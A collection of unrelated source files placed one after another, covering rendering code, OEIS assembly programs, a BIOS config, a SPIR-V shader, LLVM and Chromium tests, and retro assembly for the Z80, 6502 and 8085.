GLOBAL_DEF("rendering/quality/subsurface_scattering/follow_surface", false); GLOBAL_DEF("rendering/quality/subsurface_scattering/weight_samples", true); GLOBAL_DEF("rendering/quality/voxel_cone_tracing/high_quality", false); } exposure_shrink_size = 243; int max_exposure_shrink_size = exposure_shrink_size; while (max_exposure_shrink_size > 0) { RasterizerStorageGLES3::RenderTarget::Exposure e; glGenFramebuffers(1, &e.fbo); glBindFramebuffer(GL_FRAMEBUFFER, e.fbo); glGenTextures(1, &e.color); glBindTexture(GL_TEXTURE_2D, e.color); if (storage->config.framebuffer_float_supported) { glTexImage2D(GL_TEXTURE_2D, 0, GL_R32F, max_exposure_shrink_size, max_exposure_shrink_size, 0, GL_RED, GL_FLOAT, NULL); } else if (storage->config.framebuffer_half_float_supported) { glTexImage2D(GL_TEXTURE_2D, 0, GL_R16F, max_exposure_shrink_size, max_exposure_shrink_size, 0, GL_RED, GL_HALF_FLOAT, NULL); } else { glTexImage2D(GL_TEXTURE_2D, 0, GL_RGB10_A2, max_exposure_shrink_size, max_exposure_shrink_size, 0, GL_RED, GL_UNSIGNED_INT_2_10_10_10_REV, NULL); } glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, e.color, 0); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); exposure_shrink.push_back(e); max_exposure_shrink_size /= 3; GLenum status = glCheckFramebufferStatus(GL_FRAMEBUFFER); ERR_CONTINUE(status != GL_FRAMEBUFFER_COMPLETE); } state.debug_draw = VS::VIEWPORT_DEBUG_DRAW_DISABLED; glFrontFace(GL_CW); } void RasterizerSceneGLES3::iteration() { shadow_filter_mode = ShadowFilterMode(int(GLOBAL_GET("rendering/quality/shadows/filter_mode"))); subsurface_scatter_follow_surface = GLOBAL_GET("rendering/quality/subsurface_scattering/follow_surface"); subsurface_scatter_weight_samples = GLOBAL_GET("rendering/quality/subsurface_scattering/weight_samples"); subsurface_scatter_quality = SubSurfaceScatterQuality(int(GLOBAL_GET("rendering/quality/subsurface_scattering/quality"))); subsurface_scatter_size = GLOBAL_GET("rendering/quality/subsurface_scattering/scale"); state.scene_shader.set_conditional(SceneShaderGLES3::VCT_QUALITY_HIGH, GLOBAL_GET("rendering/quality/voxel_cone_tracing/high_quality")); } void RasterizerSceneGLES3::finalize() { } RasterizerSceneGLES3::RasterizerSceneGLES3() { } RasterizerSceneGLES3::~RasterizerSceneGLES3() { memdelete(default_material.get_data()); memdelete(default_material_twosided.get_data()); memdelete(default_shader.get_data()); memdelete(default_shader_twosided.get_data()); memdelete(default_worldcoord_material.get_data()); memdelete(default_worldcoord_material_twosided.get_data()); memdelete(default_worldcoord_shader.get_data()); memdelete(default_worldcoord_shader_twosided.get_data()); memdelete(default_overdraw_material.get_data()); memdelete(default_overdraw_shader.get_data()); memfree(state.spot_array_tmp); memfree(state.omni_array_tmp); memfree(state.reflection_array_tmp); }
; A036144: a(n) = 2^n mod 131. ; Submitted by Jamie Morken(m3) ; 1,2,4,8,16,32,64,128,125,119,107,83,35,70,9,18,36,72,13,26,52,104,77,23,46,92,53,106,81,31,62,124,117,103,75,19,38,76,21,42,84,37,74,17,34,68,5,10,20,40,80,29,58,116,101,71,11,22,44,88,45,90,49,98,65,130,129,127,123,115,99,67,3,6,12,24,48,96,61,122,113,95,59,118,105,79,27,54,108,85,39,78,25,50,100,69,7,14,28,56 mov $2,2 pow $2,$0 mod $2,-131 mov $0,$2
;******************************************************************** ; config.asm ; ; BIOS rewrite for PC/XT ; BIOS replacement for PC/XT clone ; ; This file is the New BIOS Configuration ; ;******************************************************************** ; ; change log ;------------ ; created 06/24/2019 file ; ; ;====================================== ; default startup CRT properties ;====================================== ; DEFBAUDSIOA: equ BAUD19200 ; debug console baud rate DEFBAUDSIOB: equ BAUD57600 ; RPi display interface baud rate DEFVIDEOMODE: equ 9 ; BIOS POST goes into special mode 9 for mon88 for OS boot, video mode is set based on DIP SW.5 & 6 setting ; ;====================================== ; fixed disk properties ;====================================== ; MAXCYL: equ 479 ; cylinder count MAXHEAD: equ 2 ; head count MAXSEC: equ 63 ; sectors per track ; FDLASTLBA: equ ((MAXCYL*MAXHEAD*MAXSEC)-1) ; zero-based last LBA number FDHOSTOFFSET: equ 15000 ; LBA offset into host drive ; ;====================================== ; Debug output ;====================================== ; %define DebugConsole 0 ; SIO UART Ch.A debug console: 0=on, 1=off ; %define INT09_Debug 0 ; set to '1' to enable debug, '0' to disable %define INT10_Debug 0 %define INT13_Debug 0 %define INT14_Debug 0 %define INT16_Debug 0 %define CHS2LBA_Debug 0
; A081041: 6th binomial transform of (1,5,0,0,0,0,0,0,...). ; 1,11,96,756,5616,40176,279936,1912896,12877056,85660416,564350976,3688436736,23944605696,154551545856,992612745216,6347497291776,40435908673536,256721001578496,1624959306694656,10257555623510016,64592132441112576,405833586846990336,2544686274283831296,15926226164914323456,99506008104753954816,620727955320131813376,3866519172070439387136,24052023673320527364096,149429593885310510432256,927282274384187140079616,5747921912739067305394176,35592901075038070621863936,220189624041850424468176896 mov $1,$0 lpb $1 add $0,1 mul $0,6 sub $1,1 lpe div $0,6 mul $0,5 add $0,1
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 47 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %22 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %8 "i" OpName %12 "buf0" OpMemberName %12 0 "_GLF_uniform_int_values" OpName %14 "" OpName %22 "_GLF_color" OpName %27 "v" OpDecorate %11 ArrayStride 16 OpMemberDecorate %12 0 Offset 0 OpDecorate %12 Block OpDecorate %14 DescriptorSet 0 OpDecorate %14 Binding 0 OpDecorate %22 Location 0 %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeInt 32 1 %7 = OpTypePointer Function %6 %9 = OpTypeInt 32 0 %10 = OpConstant %9 1 %11 = OpTypeArray %6 %10 %12 = OpTypeStruct %11 %13 = OpTypePointer Uniform %12 %14 = OpVariable %13 Uniform %15 = OpConstant %6 0 %16 = OpTypePointer Uniform %6 %19 = OpTypeFloat 32 %20 = OpTypeVector %19 4 %21 = OpTypePointer Output %20 %22 = OpVariable %21 Output %23 = OpConstant %19 0 %24 = OpConstant %19 1 %25 = OpConstantComposite %20 %23 %24 %23 %24 %26 = OpTypePointer Function %20 %34 = OpTypePointer Function %19 %4 = OpFunction %2 None %3 %5 = OpLabel %8 = OpVariable %7 Function %27 = OpVariable %26 Function %17 = OpAccessChain %16 %14 %15 %15 %18 = OpLoad %6 %17 OpStore %8 %18 OpStore %22 %25 %28 = OpLoad %20 %22 OpStore %27 %28 %29 = OpLoad %6 %8 %30 = OpAccessChain %16 %14 %15 %15 %31 = OpLoad %6 %30 %32 = OpISub %6 %29 %31 %33 = OpLoad %6 %8 %35 = OpAccessChain %34 %27 %33 %36 = OpLoad %19 %35 %37 = OpAccessChain %34 %27 %32 OpStore %37 %36 %38 = OpLoad %6 %8 %39 = OpLoad %6 %8 %40 = OpAccessChain %16 %14 %15 %15 %41 = OpLoad %6 %40 %42 = OpIAdd %6 %39 %41 %43 = OpAccessChain %34 %27 %42 %44 = OpLoad %19 %43 %45 = OpAccessChain %34 %27 %38 OpStore %45 %44 %46 = OpLoad %20 %27 OpStore %22 %46 OpReturn OpFunctionEnd
//===- llvm/unittest/Support/FileUtilitiesTest.cpp - unit tests -----------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include "llvm/Support/FileUtilities.h" #include "llvm/Support/Errc.h" #include "llvm/Support/ErrorHandling.h" #include "llvm/Support/FileSystem.h" #include "llvm/Support/MemoryBuffer.h" #include "llvm/Support/Path.h" #include "llvm/Testing/Support/SupportHelpers.h" #include "gtest/gtest.h" #include <fstream> using namespace llvm; using namespace llvm::sys; using llvm::unittest::TempDir; #define ASSERT_NO_ERROR(x) \ if (std::error_code ASSERT_NO_ERROR_ec = x) { \ SmallString<128> MessageStorage; \ raw_svector_ostream Message(MessageStorage); \ Message << #x ": did not return errc::success.\n" \ << "error number: " << ASSERT_NO_ERROR_ec.value() << "\n" \ << "error message: " << ASSERT_NO_ERROR_ec.message() << "\n"; \ GTEST_FATAL_FAILURE_(MessageStorage.c_str()); \ } else { \ } namespace { TEST(writeFileAtomicallyTest, Test) { // Create unique temporary directory for these tests TempDir RootTestDirectory("writeFileAtomicallyTest", /*Unique*/ true); SmallString<128> FinalTestfilePath(RootTestDirectory.path()); sys::path::append(FinalTestfilePath, "foo.txt"); const std::string TempUniqTestFileModel = std::string(FinalTestfilePath) + "-%%%%%%%%"; const std::string TestfileContent = "fooFOOfoo"; llvm::Error Err = llvm::writeFileAtomically(TempUniqTestFileModel, FinalTestfilePath, TestfileContent); ASSERT_FALSE(static_cast<bool>(Err)); std::ifstream FinalFileStream(std::string(FinalTestfilePath.str())); std::string FinalFileContent; FinalFileStream >> FinalFileContent; ASSERT_EQ(FinalFileContent, TestfileContent); } } // anonymous namespace
NAME Data_transfer TITLE add assume cs:codesg,ds:datasg ; this is add proc ;; datasg segment data1 db 1,0ffh ,101B,'$ 2', 'WoW:),Zp* ' dw 0123h, 0456H,0abch ,0defh,110101001b msg1 DD 1023, 10001001011001011100B,5C2A57F2H ARRAY db 2 DUP (1,101b , 'Y') ;? mgs2 db 3 dup('hello') db ? db 3 dup(0ffh, 25) dw 3 dup(?) buff db 'hello world!' datasg ends codesg segment ; for inc ax start:mov ax, 0123h;;t;sd mov bx, 0456h jmp well org 0x100 well: add ax, bx loop well org 11100B add ax, [SI] ;aaa test: mov ax, $ int 21h codesg ends end start;adnfg
#include "parameters.h" const float A_MIN = 100; const float A_HUGE = 500; const float ALPHA = 1.3f; const float R_MIN = 5.f; const int N_DOMINANT = 20; const bool SAVE_PATCH_MATCH = false; const int MIN_PATCH_OFFSET = 20; const int RELEVANT_OFFSET_NORM = 25; const float VARIANCE_THRESHOLD = 2.f;
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: PC/GEOS MODULE: ffile.ldf FILE: ffmanagerManager.asm AUTHOR: Jeremy Dashe, Jan 24, 1992 ROUTINES: Name Description ---- ----------- FlatFileEntry Entry point for the flat file database library REVISION HISTORY: Name Date Description ---- ---- ----------- jeremy 1/24/92 Initial revision DESCRIPTION: This file holds entry point code for the flat file database library. $Id: ffmanagerManager.asm,v 1.1 97/04/04 18:03:18 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ include geos.def InitCode segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FlatFileEntry %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Library entry called when the flat file database library is loaded. CALLED BY: PASS: RETURN: carry clear DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- jeremy 1/23/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FlatFileEntry proc far clc ret FlatFileEntry endp ForceRef FlatFileEntry InitCode ends if 0 HorribleHack segment resource PrintMessage <Get rid of the ridiculous _mwpush8ss routine when> PrintMessage <possible.> SetGeosConvention COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% _mwpush8ss %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: push a 64 bit number from the stack segment (i.e. a local variable) onto the stack CALLED BY: INTERNAL PASS: ss:cx = 64 bit number RETURN: Void. DESTROYED: ax PSEUDOCODE/STRATEGY: ???? KNOWN BUGS/SIDEFFECTS/IDEAS: ???? REVISION HISTORY: Name Date Description ---- ---- ----------- jimmy 7/16/91 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ _mwpush8ss proc far ; CX <- addr of float # ; this code writes directly onto the stack ; so it leaves a 64 bit float on the stack ; es contains destination segment of the movsw ; so es <- stack segment mov ax, es mov bx, ds mov dx, ss mov es, dx mov ds, dx ; now we allocate 4 bytes on the stack, the other four bytes ; come from the four bytes taken by the return address sub sp, 4 push si ; save di and si push di mov si, cx ; ds:si = 64 bit number mov di, sp add di, 4 ; es:di = destination for 64 bit number ; here we added 4 to di to make up for the pushing of ; si and di above ; so now we fill up the first four bytes with data movsw movsw ; now we save away the return address sitting on the stack ; and then write over the return address the remaining four bytes ; of the 64 bit word (2 bytes at a time) mov dx, es:[di] ;Load return addr movsw mov cx, es:[di] movsw pop di ;Restore old vals of si, di, es pop si mov es, ax mov ds, bx push cx ;Push return addr push dx ret _mwpush8ss endp public _mwpush8ss SetDefaultConvention HorribleHack ends endif
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/process_util.h" #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" #include "chrome/browser/ui/browser.h" #include "chrome/browser/ui/browser_commands.h" #include "chrome/browser/ui/browser_tabstrip.h" #include "chrome/browser/ui/find_bar/find_bar_controller.h" #include "chrome/browser/ui/find_bar/find_notification_details.h" #include "chrome/browser/ui/tabs/tab_strip_model.h" #include "chrome/browser/ui/view_ids.h" #include "chrome/browser/ui/views/find_bar_host.h" #include "chrome/browser/ui/views/frame/browser_view.h" #include "chrome/common/chrome_notification_types.h" #include "chrome/test/base/in_process_browser_test.h" #include "chrome/test/base/interactive_test_utils.h" #include "chrome/test/base/ui_test_utils.h" #include "content/public/browser/notification_service.h" #include "content/public/browser/web_contents.h" #include "net/test/spawned_test_server/spawned_test_server.h" #include "ui/base/clipboard/clipboard.h" #include "ui/base/keycodes/keyboard_codes.h" #include "ui/views/focus/focus_manager.h" #include "ui/views/view.h" #include "ui/views/views_delegate.h" using content::WebContents; namespace { static const char kSimplePage[] = "files/find_in_page/simple.html"; class FindInPageTest : public InProcessBrowserTest { public: FindInPageTest() { FindBarHost::disable_animations_during_testing_ = true; } string16 GetFindBarText() { FindBarTesting* find_bar = browser()->GetFindBarController()->find_bar()->GetFindBarTesting(); return find_bar->GetFindText(); } string16 GetFindBarSelectedText() { FindBarTesting* find_bar = browser()->GetFindBarController()->find_bar()->GetFindBarTesting(); return find_bar->GetFindSelectedText(); } private: DISALLOW_COPY_AND_ASSIGN(FindInPageTest); }; } // namespace // Flaky because the test server fails to start? See: http://crbug.com/96594. IN_PROC_BROWSER_TEST_F(FindInPageTest, CrashEscHandlers) { ASSERT_TRUE(test_server()->Start()); // First we navigate to our test page (tab A). GURL url = test_server()->GetURL(kSimplePage); ui_test_utils::NavigateToURL(browser(), url); chrome::Find(browser()); // Open another tab (tab B). chrome::AddSelectedTabWithURL(browser(), url, content::PAGE_TRANSITION_TYPED); chrome::Find(browser()); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_FIND_IN_PAGE_TEXT_FIELD)); // Select tab A. browser()->tab_strip_model()->ActivateTabAt(0, true); // Close tab B. browser()->tab_strip_model()->CloseWebContentsAt(1, TabStripModel::CLOSE_NONE); // Click on the location bar so that Find box loses focus. ASSERT_NO_FATAL_FAILURE(ui_test_utils::ClickOnView(browser(), VIEW_ID_OMNIBOX)); // Check the location bar is focused. EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_OMNIBOX)); // This used to crash until bug 1303709 was fixed. ASSERT_TRUE(ui_test_utils::SendKeyPressSync( browser(), ui::VKEY_ESCAPE, false, false, false, false)); } // Flaky because the test server fails to start? See: http://crbug.com/96594. IN_PROC_BROWSER_TEST_F(FindInPageTest, FocusRestore) { ASSERT_TRUE(test_server()->Start()); GURL url = test_server()->GetURL("title1.html"); ui_test_utils::NavigateToURL(browser(), url); // Focus the location bar, open and close the find-in-page, focus should // return to the location bar. chrome::FocusLocationBar(browser()); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_OMNIBOX)); // Ensure the creation of the find bar controller. browser()->GetFindBarController()->Show(); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_FIND_IN_PAGE_TEXT_FIELD)); browser()->GetFindBarController()->EndFindSession( FindBarController::kKeepSelectionOnPage, FindBarController::kKeepResultsInFindBox); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_OMNIBOX)); // Focus the location bar, find something on the page, close the find box, // focus should go to the page. chrome::FocusLocationBar(browser()); chrome::Find(browser()); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_FIND_IN_PAGE_TEXT_FIELD)); ui_test_utils::FindInPage( browser()->tab_strip_model()->GetActiveWebContents(), ASCIIToUTF16("a"), true, false, NULL, NULL); browser()->GetFindBarController()->EndFindSession( FindBarController::kKeepSelectionOnPage, FindBarController::kKeepResultsInFindBox); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_TAB_CONTAINER)); // Focus the location bar, open and close the find box, focus should return to // the location bar (same as before, just checking that http://crbug.com/23599 // is fixed). chrome::FocusLocationBar(browser()); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_OMNIBOX)); browser()->GetFindBarController()->Show(); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_FIND_IN_PAGE_TEXT_FIELD)); browser()->GetFindBarController()->EndFindSession( FindBarController::kKeepSelectionOnPage, FindBarController::kKeepResultsInFindBox); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_OMNIBOX)); } // Flaky because the test server fails to start? See: http://crbug.com/96594. IN_PROC_BROWSER_TEST_F(FindInPageTest, FocusRestoreOnTabSwitch) { ASSERT_TRUE(test_server()->Start()); // First we navigate to our test page (tab A). GURL url = test_server()->GetURL(kSimplePage); ui_test_utils::NavigateToURL(browser(), url); chrome::Find(browser()); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_FIND_IN_PAGE_TEXT_FIELD)); FindBarTesting* find_bar = browser()->GetFindBarController()->find_bar()->GetFindBarTesting(); // Search for 'a'. ui_test_utils::FindInPage( browser()->tab_strip_model()->GetActiveWebContents(), ASCIIToUTF16("a"), true, false, NULL, NULL); EXPECT_TRUE(ASCIIToUTF16("a") == find_bar->GetFindSelectedText()); // Open another tab (tab B). content::WindowedNotificationObserver observer( content::NOTIFICATION_LOAD_STOP, content::NotificationService::AllSources()); chrome::AddSelectedTabWithURL(browser(), url, content::PAGE_TRANSITION_TYPED); observer.Wait(); // Make sure Find box is open. chrome::Find(browser()); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_FIND_IN_PAGE_TEXT_FIELD)); // Search for 'b'. ui_test_utils::FindInPage( browser()->tab_strip_model()->GetActiveWebContents(), ASCIIToUTF16("b"), true, false, NULL, NULL); EXPECT_TRUE(ASCIIToUTF16("b") == find_bar->GetFindSelectedText()); // Set focus away from the Find bar (to the Location bar). chrome::FocusLocationBar(browser()); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_OMNIBOX)); // Select tab A. Find bar should get focus. browser()->tab_strip_model()->ActivateTabAt(0, true); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_FIND_IN_PAGE_TEXT_FIELD)); EXPECT_TRUE(ASCIIToUTF16("a") == find_bar->GetFindSelectedText()); // Select tab B. Location bar should get focus. browser()->tab_strip_model()->ActivateTabAt(1, true); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_OMNIBOX)); } // Flaky because the test server fails to start? See: http://crbug.com/96594. // This tests that whenever you clear values from the Find box and close it that // it respects that and doesn't show you the last search, as reported in bug: // http://crbug.com/40121. IN_PROC_BROWSER_TEST_F(FindInPageTest, PrepopulateRespectBlank) { #if defined(OS_MACOSX) // FindInPage on Mac doesn't use prepopulated values. Search there is global. return; #endif ASSERT_TRUE(test_server()->Start()); // Make sure Chrome is in the foreground, otherwise sending input // won't do anything and the test will hang. ASSERT_TRUE(ui_test_utils::BringBrowserWindowToFront(browser())); // First we navigate to any page. GURL url = test_server()->GetURL(kSimplePage); ui_test_utils::NavigateToURL(browser(), url); // Show the Find bar. browser()->GetFindBarController()->Show(); // Search for "a". ASSERT_TRUE(ui_test_utils::SendKeyPressSync( browser(), ui::VKEY_A, false, false, false, false)); // We should find "a" here. EXPECT_EQ(ASCIIToUTF16("a"), GetFindBarText()); // Delete "a". ASSERT_TRUE(ui_test_utils::SendKeyPressSync( browser(), ui::VKEY_BACK, false, false, false, false)); // Validate we have cleared the text. EXPECT_EQ(string16(), GetFindBarText()); // Close the Find box. ASSERT_TRUE(ui_test_utils::SendKeyPressSync( browser(), ui::VKEY_ESCAPE, false, false, false, false)); // Show the Find bar. browser()->GetFindBarController()->Show(); // After the Find box has been reopened, it should not have been prepopulated // with "a" again. EXPECT_EQ(string16(), GetFindBarText()); // Close the Find box. ASSERT_TRUE(ui_test_utils::SendKeyPressSync( browser(), ui::VKEY_ESCAPE, false, false, false, false)); // Press F3 to trigger FindNext. ASSERT_TRUE(ui_test_utils::SendKeyPressSync( browser(), ui::VKEY_F3, false, false, false, false)); // After the Find box has been reopened, it should still have no prepopulate // value. EXPECT_EQ(string16(), GetFindBarText()); } // Flaky on Win. http://crbug.com/92467 // Flaky on ChromeOS. http://crbug.com/118216 #if defined(OS_WIN) || defined(OS_CHROMEOS) #define MAYBE_PasteWithoutTextChange DISABLED_PasteWithoutTextChange #else #define MAYBE_PasteWithoutTextChange PasteWithoutTextChange #endif IN_PROC_BROWSER_TEST_F(FindInPageTest, MAYBE_PasteWithoutTextChange) { ASSERT_TRUE(test_server()->Start()); // Make sure Chrome is in the foreground, otherwise sending input // won't do anything and the test will hang. ASSERT_TRUE(ui_test_utils::BringBrowserWindowToFront(browser())); // First we navigate to any page. GURL url = test_server()->GetURL(kSimplePage); ui_test_utils::NavigateToURL(browser(), url); // Show the Find bar. browser()->GetFindBarController()->Show(); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_FIND_IN_PAGE_TEXT_FIELD)); // Search for "a". ASSERT_TRUE(ui_test_utils::SendKeyPressSync( browser(), ui::VKEY_A, false, false, false, false)); // We should find "a" here. EXPECT_EQ(ASCIIToUTF16("a"), GetFindBarText()); // Reload the page to clear the matching result. chrome::Reload(browser(), CURRENT_TAB); // Focus the Find bar again to make sure the text is selected. browser()->GetFindBarController()->Show(); EXPECT_TRUE(ui_test_utils::IsViewFocused(browser(), VIEW_ID_FIND_IN_PAGE_TEXT_FIELD)); // "a" should be selected. EXPECT_EQ(ASCIIToUTF16("a"), GetFindBarSelectedText()); // Press Ctrl-C to copy the content. ASSERT_TRUE(ui_test_utils::SendKeyPressSync( browser(), ui::VKEY_C, true, false, false, false)); string16 str; ui::Clipboard::GetForCurrentThread()-> ReadText(ui::Clipboard::BUFFER_STANDARD, &str); // Make sure the text is copied successfully. EXPECT_EQ(ASCIIToUTF16("a"), str); // Press Ctrl-V to paste the content back, it should start finding even if the // content is not changed. content::Source<WebContents> notification_source( browser()->tab_strip_model()->GetActiveWebContents()); ui_test_utils::WindowedNotificationObserverWithDetails <FindNotificationDetails> observer( chrome::NOTIFICATION_FIND_RESULT_AVAILABLE, notification_source); ASSERT_TRUE(ui_test_utils::SendKeyPressSync( browser(), ui::VKEY_V, true, false, false, false)); ASSERT_NO_FATAL_FAILURE(observer.Wait()); FindNotificationDetails details; ASSERT_TRUE(observer.GetDetailsFor(notification_source.map_key(), &details)); EXPECT_TRUE(details.number_of_matches() > 0); }
; ----------------------------------------------------------------------------- ; "Smart" integrated RCS+ZX1 decoder by Einar Saukas (112 bytes) ; ----------------------------------------------------------------------------- ; Parameters: ; HL: source address (compressed data) ; DE: destination address (decompressing) ; ----------------------------------------------------------------------------- dzx1_smartrcs: ld bc, $ffff ; preserve default offset 1 push bc ld a, $80 dzx1r_literals: call dzx1r_elias ; obtain length dzx1r_literals_loop: call dzx1r_copy_byte ; copy literals jp pe, dzx1r_literals_loop add a, a ; copy from last offset or new offset? jr c, dzx1r_new_offset call dzx1r_elias ; obtain length dzx1r_copy: ex (sp), hl ; preserve source, restore offset push hl ; preserve offset add hl, de ; calculate destination - offset dzx1r_copy_loop: push hl ; copy from offset ex de, hl call dzx1r_convert ex de, hl call dzx1r_copy_byte pop hl inc hl jp pe, dzx1r_copy_loop pop hl ; restore offset ex (sp), hl ; preserve offset, restore source add a, a ; copy from literals or new offset? jr nc, dzx1r_literals dzx1r_new_offset: inc sp ; discard last offset inc sp dec b ld c, (hl) ; obtain offset LSB inc hl rr c ; single byte offset? jr nc, dzx1r_msb_skip ld b, (hl) ; obtain offset MSB inc hl rr b ; replace last LSB bit with last MSB bit inc b ret z ; check end marker rl c dzx1r_msb_skip: push bc ; preserve new offset call dzx1r_elias ; obtain length inc bc jr dzx1r_copy dzx1r_elias: ld bc, 1 ; interlaced Elias gamma coding dzx1r_elias_loop: add a, a jr nz, dzx1r_elias_skip ld a, (hl) ; load another group of 8 bits inc hl rla dzx1r_elias_skip: ret nc add a, a rl c rl b jr dzx1r_elias_loop dzx1r_copy_byte: push de ; preserve destination call dzx1r_convert ; convert destination ldi ; copy byte pop de ; restore destination inc de ; update destination ret ; Convert an RCS address 010RRccc ccrrrppp to screen address 010RRppp rrrccccc dzx1r_convert: ex af, af' ld a, d ; A = 010RRccc cp $58 jr nc, dzx1r_skip xor e and $f8 xor e ; A = 010RRppp push af xor d xor e ; A = ccrrrccc rlca rlca ; A = rrrccccc pop de ; D = 010RRppp ld e, a ; E = rrrccccc dzx1r_skip: ex af, af' ret ; -----------------------------------------------------------------------------
\ Write characters to Mode 7 screen \ Using Indirect Indexing \ Using BeebASM assembler \ Help from https://twitter.com/0xC0DE6502 oswrch = &FFEE screen = &7C00 addr = &70 ay = &81 ORG &2000 .start .mode LDA #7 \ Change to Mode 7 JSR screenmode LDA #65 LDY #24 LDX #20 .loop JSR mode7_poke DEY BPL loop LDY #12 LDX #39 LDA #66 .loop2 JSR mode7_poke DEX BPL loop2 .finish RTS .screenmode INCLUDE "../lib/screenmode.asm" .putchar INCLUDE "../lib/m7pp.asm" .end SAVE "MyCode", start, end
;Ascending order using bubble sort jmp START arr: DB 43H, 12H, 07H, 36H, 11H ;elements in array(arr) arrsize: DB 05H ;size(n) of array(arr) START: nop lda arrsize mov c,a ;store size(n) of array dcr c ;n=n-1 AGAIN: lxi h,arr ;set index(i) to location of start of array mov d,c ;m=n UP: mov a,m ;get arr[i] inx h ;i=i+1 cmp m ;compare arr[i] with arr[i+1] jc SKIP mov b,m mov m,a dcx h mov m,b inx h ;exchange contents if arr[i]>arr[i+1] SKIP: dcr d ;m=m-1 jnz UP ;repeat cycle if m!=0 dcr c ;n=n-1 on end of cycle jnz AGAIN ;repeat iteration if n!=0 hlt
; A194756: Number of k such that {-k*pi} < {-n*pi}, where { } = fractional part. ; 1,1,1,1,1,1,1,8,7,6,5,4,3,2,15,13,11,9,7,5,3,22,19,16,13,10,7,4,29,25,21,17,13,9,5,36,31,26,21,16,11,6,43,37,31,25,19,13,7,50,43,36,29,22,15,8,57,49,41,33,25,17,9,64,55,46,37,28,19,10,71,61,51,41,31 mov $1,7 mov $2,$0 mod $0,7 sub $1,$0 sub $2,$0 mul $1,$2 div $1,7 add $1,1
object_const_def Route110_MapScripts: db 0 ; scene scripts db 0 ; callbacks ;callback MAPCALLBACK_NEWMAP, .InitializeRoom ;callback MAPCALLBACK_TILES, .SetSpawn Route110_MapEvents: db 0, 0 ; filler db 0 ; warp events db 0 ; coord events db 0 ; bg events ;bg_event 0, 1, BGEVENT_READ, RedsHouse1FBookshelf ;bg_event 1, 1, BGEVENT_READ, RedsHouse1FBookshelf ;bg_event 2, 1, BGEVENT_READ, RedsHouse1FTV db 0 ; object events ;object_event 5, 3, SPRITE_REDS_MOM, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, 0, OBJECTTYPE_SCRIPT, 0, RedsMom, -1
